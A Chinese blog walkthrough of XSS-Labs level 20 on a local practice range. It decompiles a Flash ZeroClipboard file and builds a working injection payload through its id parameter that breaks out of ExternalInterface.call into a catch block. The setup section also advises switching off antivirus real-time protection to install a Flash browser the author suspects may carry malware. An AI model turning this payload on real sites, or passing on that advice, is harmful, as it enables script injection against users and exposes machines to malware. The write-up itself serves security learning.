XSS LABS - Level 20 过关思路

关注这个靶场的其他相关笔记:XSS - LABS —— 靶场笔记合集

0x01:环境配置

Flash 逆向工具 JPEXS 配置请看 Level 19 的过关流程,这里就不重新教怎么安装配置了。

要想完成本关,需要下载 Flash,不然就会出现下面的情况:

我个人建议,是直接下载一个 Flash 游戏浏览器(能显示 Flash 内容,但是有可能会出现过关不弹窗的现象。Flash 中心似乎可以弹窗,但太麻烦了),下载链接如下:

Flash 浏览器下载渠道

访问链接,点击 ”立即下载“,即可下载 Flash 游戏浏览器的安装包。

在安装 Flash 游戏浏览器之前,需要先关闭本机的杀毒软件(好家伙,病毒是吧),俺不知道有没有毒哈,没有关闭的话直接下载会被系统干掉。

首先是,搜索 ”病毒和威胁防护“:

进入软件后,选择 ”管理设置“:

关闭 ”实时保护“ 功能即可:

下面就是双击我们一开始下载下来的 Flash 游戏浏览器的安装包,进入安装流程:

按照如下方式进行配置,可以更改一个你能找的到的路径,方便后期卸载:

配置完成后,就是点击 ”立即安装“ ,然后等它安装好,就可以直接使用了。

如果你的系统比较良心,还会弹出下面的内容,点击阻止就可以了:

0x02:过关流程

如果 Level 19 无法跳转的话,可以直接手动进入 Level 20 关卡(可以直接复制链接,也可以手动弹窗):

<!-- 我本机的 Level 20 靶场链接 -->
http://127.0.0.1/xss-labs/level20.php?arg01=a&arg02=b

进入靶场,老流程,右击页面查看网页源码,可以发现一个 .swf 文件,且我们通过 GET 方式提交的两个参数都被传递给了这个 .swf 文件:

可以看到回显点又是在 " 号内,经过测试 " 号其实被过滤了,所以我们无法通过常规方法逃逸出 src,那么只能看看 .swf 里有没有啥值得注意的部分了。

那么接下来就是对 .swf 文件的逆向了,首先下载页面上的 .swf 文件,这个比较简单,看到上图中的那个蓝色的链接吗,鼠标定位在上面,然后右击,在新窗口打开即可:

如果是使用的 Flash 浏览器,可能会自动解析该文件,此时我们复制浏览器上的链接,到 Google 浏览器或者没有安装 Flash 的浏览器,重新访问 .swf 文件,就可以下载了。比如下面,就是我在 Google 浏览器中访问 .swf 文件弹出的下载框:

<!-- 我在 Google 浏览器上访问的地址 -->
http://127.0.0.1/xss-labs/xsf04.swf?a=b

下载完成后,就是对 xsf04.swf 进行逆向了,逆向工具为 JPEXS,该工具的初始安装教程我放在了 Level 19 的过关流程中了,不会配置的小伙伴可以去看看(后续我会单独出一期,JPEXS 工具的简介)。

使用 JPEXS 打开 xsf04.swf 文件,下面开启我们的逆向之旅。

逆向,起码得找到需要逆向的代码吧,代码也比较好找,在 JPEXS 里选择脚本,就能看到一个名为 ZeroClipboard 的文件,这个就是待逆向的文件(其他的文件看着也不像代码嘞):

下面就是 ZeroClipboard 文件中的代码,以及我对其的笔记,代码不多,笔者也是借助 AI,慢慢做的注释(笔者也没搞过 Flash,硬搞吧。)

package
{
   import flash.display.LoaderInfo; // 导入LoaderInfo类,用于访问加载Flash时的参数  
   import flash.display.Sprite; // 导入Sprite类,用于创建图形对象 
   import flash.display.StageScaleMode; // 导入StageScaleMode枚举,用于设置舞台的缩放模式
   import flash.events.*; // 导入所有事件类 
   import flash.external.ExternalInterface; // 导入ExternalInterface类,用于与JavaScript等外部代码交互 
   import flash.system.Security; // 导入Security类,用于设置Flash的安全策略
   import flash.system.System; // 导入System类,用于访问系统级功能,如设置剪贴板  
   import flash.utils.*; // 导入flash.utils包中的所有类,虽然这里可能并未直接使用到

   /**  
    * ZeroClipboard类,用于在Flash中实现零剪贴板功能,即无需用户手动选择即可复制文本到剪贴板。  
    * 它通过JavaScript与Flash进行交互,模拟用户点击和复制操作。  
    */
   public class ZeroClipboard extends Sprite {
      private var button: Sprite;  // 定义一个Sprite对象作为按钮

      private var id: String = ""; // 存储Flash实例的唯一标识符  

      private var clipText: String = ""; // 存储要复制到剪贴板的文本  

      /**  
       * 构造函数,初始化ZeroClipboard实例。  
       */

      public function ZeroClipboard() {
         var flashvars: Object;  // 用于存储从HTML传递过来的参数 
         super(); // 调用父类 Sprite 的构造函数  
         stage.scaleMode = StageScaleMode.EXACT_FIT; // 设置舞台的缩放模式为精确匹配
         Security.allowDomain("*"); // 允许来自任何域的Flash内容交互,注意这在实际应用中可能带来安全风险
         flashvars = LoaderInfo(this.root.loaderInfo).parameters; // 获取加载Flash时传递的参数
         id = flashvars.id; // 从参数中获取 Flash 实例的 ID

         // 初始化按钮 
         button = new Sprite();
         button.buttonMode = true;  // 设置按钮模式
         button.useHandCursor = true; // 设置鼠标悬停时使用手形光标
         button.graphics.beginFill(13434624); // 设置按钮的背景色
         button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height)); // 根据参数绘制按钮大小
         button.alpha = 0; // 初始时按钮透明 
         addChild(button); // 将按钮添加到舞台上

         // 为按钮添加事件监听器 
         button.addEventListener(MouseEvent.CLICK, clickHandler); // 点击事件
         button.addEventListener(MouseEvent.MOUSE_OVER, function (param1: Event): * {
            // ExternalInterface.call(...):这是ActionScript中用于调用JavaScript函数的方法。它允许Flash/Animate内容与其宿主页面上的JavaScript代码进行交互。
            // "ZeroClipboard.dispatch": 这是要调用的JavaScript函数或方法的名称。在这个例子中,它指的是ZeroClipboard对象上的dispatch方法。ZeroClipboard是一个流行的JavaScript库,用于在无法通过Flash直接访问剪贴板的情况下(如现代浏览器中)提供剪贴板功能。
            // id: 这是传递给dispatch方法的第一个参数。它通常是一个标识符,用于指定哪个ZeroClipboard实例应该接收这个事件或命令。在ZeroClipboard的上下文中,这个id可能是与Flash对象相关联的DOM元素的ID,或者是ZeroClipboard在初始化时分配给该Flash对象的唯一标识符。
            ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOver", null);
         }); // 鼠标悬停事件
         button.addEventListener(MouseEvent.MOUSE_OUT, function (param1: Event): * {
            ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOut", null);
         }); // 鼠标移出事件
         button.addEventListener(MouseEvent.MOUSE_DOWN, function (param1: Event): * {
            ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseDown", null);
         }); // 鼠标按下事件
         button.addEventListener(MouseEvent.MOUSE_UP, function (param1: Event): * {
            ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseUp", null);
         }); // 鼠标释放事件

         // 注册 JavaScript 可调用的函数
         ExternalInterface.addCallback("setHandCursor", setHandCursor); // 设置是否使用手形光标
         ExternalInterface.addCallback("setText", setText); // 设置要复制的文本

         // 通知 JavaScript,Flash 已加载完毕
         ExternalInterface.call("ZeroClipboard.dispatch", id, "load", null);
      }

      /**  
       * 设置是否使用手形光标。  
       * @param param1 是否使用手形光标的布尔值。  
       * @return 无返回值。  
       */
      public function setHandCursor(param1: Boolean): * {
         button.useHandCursor = param1;
      }

      /**  
      * 点击事件处理函数。  
      * 将文本复制到剪贴板,并通知JavaScript操作完成。  
      * @param param1 事件对象。  
      */
      private function clickHandler(param1: Event): void {
         System.setClipboard(clipText); // 将 clipText 变量中的文本复制到系统剪贴板
         ExternalInterface.call("ZeroClipboard.dispatch", id, "complete", clipText); // 调用JavaScript中的ZeroClipboard.dispatch函数,通知剪贴板操作完成,并传递元素ID、事件类型("complete")和复制的文本作为参数 
      }

      /**  
      * 设置要复制到剪贴板的文本。  
      * @param param1 {*} - 要复制的文本,可以是任何类型,但通常应为字符串。  
      * @returns {*} - 此函数不直接返回任何值,但会更新内部变量clipText以存储要复制的文本。  
       */
      public function setText(param1: *): * {
         clipText = param1;   // 将传入的文本赋值给 clipText 变量,以便后续能复制到剪贴板
      }
   }
}

我们既然想要触发 XSS,首先得找到一个能传参的位置吧(如果 Flash 都不接受我们传入的值,还谈啥修改呢)。

通过对 ZeroClipboard.swf 文件的审计(这个文件是使用 Adobe ActionScript 编写的,笔者之前听都没听过),我们可以发现其接收的参数为:idwidthheight,如下图:

从上面那段代码中我们可以知道,前端传递的参数,都放到了 flashvars 中,而在初始化 ZeroClipboard 时,用到了三个参数 idwidthheight,那么我们对传入 .swf 文件的内容有了个基本的架构:

?id=xxx&width=xxx&height=xxx

这个时候,你可以直接在靶场上访问 xsf04.swf 这个文件,并按照上面的值传参看看,你会发现,当你把鼠标移动到页面上时,鼠标会变成小手,就和 ZeroClipboard 代码中写的一样(这证明了我们的推测结果是正确的):

继续逆向,我们知道了 .swf 文件接收什么参数后,是不是应该知道这些参数到哪里会被调用?

往下看,可以注意到下面的代码,为按钮添加监听事件:

这些事件都使用了 ExternalInterface.call 函数,然后传参中,都使用了 id,而 id 我们是可控的。那么接下来,就是看看 ExternalInterface.call 函数能否触发 XSS 漏洞了。

下面是我对上面这个函数的理解:

ExternalInterface.call 函数,是 ActionScript 中一个非常重要的函数,用于在 Flash 应用程序(即 ActionScript 环境)和宿主页面(通常是 HTML 页面,其中包含了 JavaScript)之间进行通信。 <mark style="box-sizing: border-box; background: rgb(255, 255, 0); color: rgb(0, 0, 0);">该函数允许 ActionScript 代码调用宿主页面中定义的 JavaScript 函数,并将参数传递给它</mark>。

ExternalInterface.call 函数由两个主要部分组成:

  1. 第一个参数是 JavaScript 函数的名称,即你想要从 ActionScript 中调用的宿主页面上的 JavaScript 函数的名称。

  2. 后续参数都是传递给这个 JavaScript 函数的参数。

如上,简而言之,就是 ExternalInterface.call 能调用并运行 JavaScript 函数(XSS 来了)。

如果你和我一样 ActionScript 不知道是啥玩意,语法也不会的话,这里弄个通俗一点的。

在 JavaScript 中弹窗,你要这么写:

alert("1")

那么你想用 ActionScript 弹窗,你得这么写(用 ActionScript 调用 JavaScript 来弹窗):

ExternalInterface.call("alert","1");

而 FLASH 中最后实际执行的 JS 代码,形式如下(这个是从参考资料 GET 到的,但是资料没说来源):

// 这个是格式化之前的,即 FLASH 真实执行的 JS 代码格式
try { __flash__toXML(alert("1")); } catch (e) { "<undefined/>"; }


// 这个是格式化之后的,为了便于观看
try {
   __flash__toXML(alert("1"));
} catch (e) {
   "<undefined/>";
}

所以,我们要利用 FLASH 进行 XSS 漏洞的利用,针对的就是 FLASH 执行 JS 代码的形式。而非 ActionScript 上的代码。

这里笔者在测试的时候发现了一个好玩的,就是在 Flash 游戏浏览器中,你可以直接运行上面的代码,来做测试(这下就更加直观了):

回归 ZeroClipboard 中的代码,我们也做一波分析(id 参数可控),这里拿一个举例:

// ActionScript 代码中的内容
ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOut", null);

=>

// Flash 实际执行的 JS 代码 - 格式化之前
try { __flash__toXML(ZeroClipboard.dispatch(id, "mouseOut", null));} catch (e) {"<undefined/>";}

// Flash 实际执行的 JS 代码 - 格式化之后(仅仅为了便于观看)
try { 
    __flash__toXML(ZeroClipboard.dispatch(id, "mouseOut", null));
} catch (e) {
    "<undefined/>";
}

OK,现在问题来了,你要怎么修改上面的代码让其弹窗?

ZeroClipboard.dispatch ?这东西找了半天我也没找到在哪里,XSS LABS Level 20 里就没有引入外部 javascript 脚本。

所以,我们将目标放到 catch 部分,能让其弹窗的 JS 代码应该如下:

// FLash 实际执行的 JS 代码 - 触发 XSS 攻击 - 格式化之前
try { __flash__toXML(ZeroClipboard.dispatch(id));} catch (e) {alert(1);}//, "mouseOut", null));} catch (e) {"<undefined/>";}

// Flash 实际执行的 JS 代码 - 触发 XSS 攻击 - 格式化之后(便于观看)
try { 
    __flash__toXML(ZeroClipboard.dispatch(id));
} catch (e) {
    alert(1);
}//, "mouseOut", null));} catch (e) {"<undefined/>";}

现在完善我们的 Payload,即我们需要给 .swf 传入以下内容才可以触发 XSS 攻击:

?id=id));} catch (e) {alert(1);}//&width=123&height=123

可是上面的内容真的能触发 XSS 吗,这里需要注意一下,如果我们直接传入上面内容,.swf 文件中的 id 实际接收到的是什么?我们传入的可是一串字符串呀,所以如果直接把上面的 Payload 传给 .swf 文件,其实际执行的 JS 代码大概率如下:

// FLash 实际执行的 JS 代码 - 推测 - 格式化之前
try { __flash__toXML(ZeroClipboard.dispatch("id));} catch (e) {alert(1);}//&width=123&height=123", "mouseOut", null));} catch (e) {"<undefined/>";}

// FLash 实际执行的 JS 代码 - 推测 - 格式化之后(便于观看)

try { 
    __flash__toXML(
        ZeroClipboard.dispatch("id));} catch (e) {alert(1);}//&width=123&height=123", "mouseOut", null)
    );
} catch (e) {
    "<undefined/>";
}

所以嘞,我们还需要绕过一个 " 号,给传入的 Payload 的合适的地方添加一个 \" 即可,所以最终版的 Payload 如下(直接传给 .swf 文件的):

?id=id\"));} catch (e) {alert(1);}//&width=123&height=123

可以看到,如果我们直接给 xsf04.swf 传入 Payload,它成功弹窗了,那么下面,就是要绕过靶场的过滤了。

XSS LABS Level 20,接收两个参数,arg01arg02,接收后会直接以 key=value 的形式拼接到 xsf04.swf 后面,那么我们的 Payload 1.0 如下:

?arg01=id&arg02=id\"));} catch (e) {alert(1);}//&width=123&height=123

通过界面返回的结果可知,它并没有接收我们传入的 widthheight 参数,很好理解 & 这个符号,在 GET 请求里就是分割参数的,那么我们要使用什么办法来让 & 也能让后端接收呢?

办法肯定是有的嘞,URL 编码呗(专门用来让你传递这些特殊的字符,而且还不影响其原本含义的),所以 Payload 2.0 如下(& 替换为 %26):

?arg01=id&arg02=id\"));} catch (e) {alert(1);}//%26width=123%26height=123

0x03:源码分析

下面是 XSS LABS Level 20 的后端源码,以及我对其的部分笔记(说实话,没啥好看的,主要是前面逆向,有些搞头):

<!DOCTYPE html><!--STATUS OK-->
<html>

<head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 修改 alert 默认属性,进入下一关(还有高手?)
        window.alert = function() {
            confirm("完成的不错!");
            window.location.href = "level21.php?arg01=a&arg02=b";
        }
    </script>
    <title>欢迎来到level20</title>
</head>

<body>
    <h1 align=center>欢迎来到level20</h1>
    <?php
    ini_set("display_errors", 0);
    echo '<embed src="xsf04.swf?' . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . '" width=100% heigth=100%>';
    // 这关主要还是逆向 xsf04.swf 文件,这里没啥好看的
    ?> 
</body>

</html>

0x04:参考资料

©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,589评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,615评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,933评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,976评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,999评论 6 393
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,775评论 1 307
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,474评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,359评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,854评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,007评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,146评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,826评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,484评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,029评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,153评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,420评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,107评论 2 356

推荐阅读更多精彩内容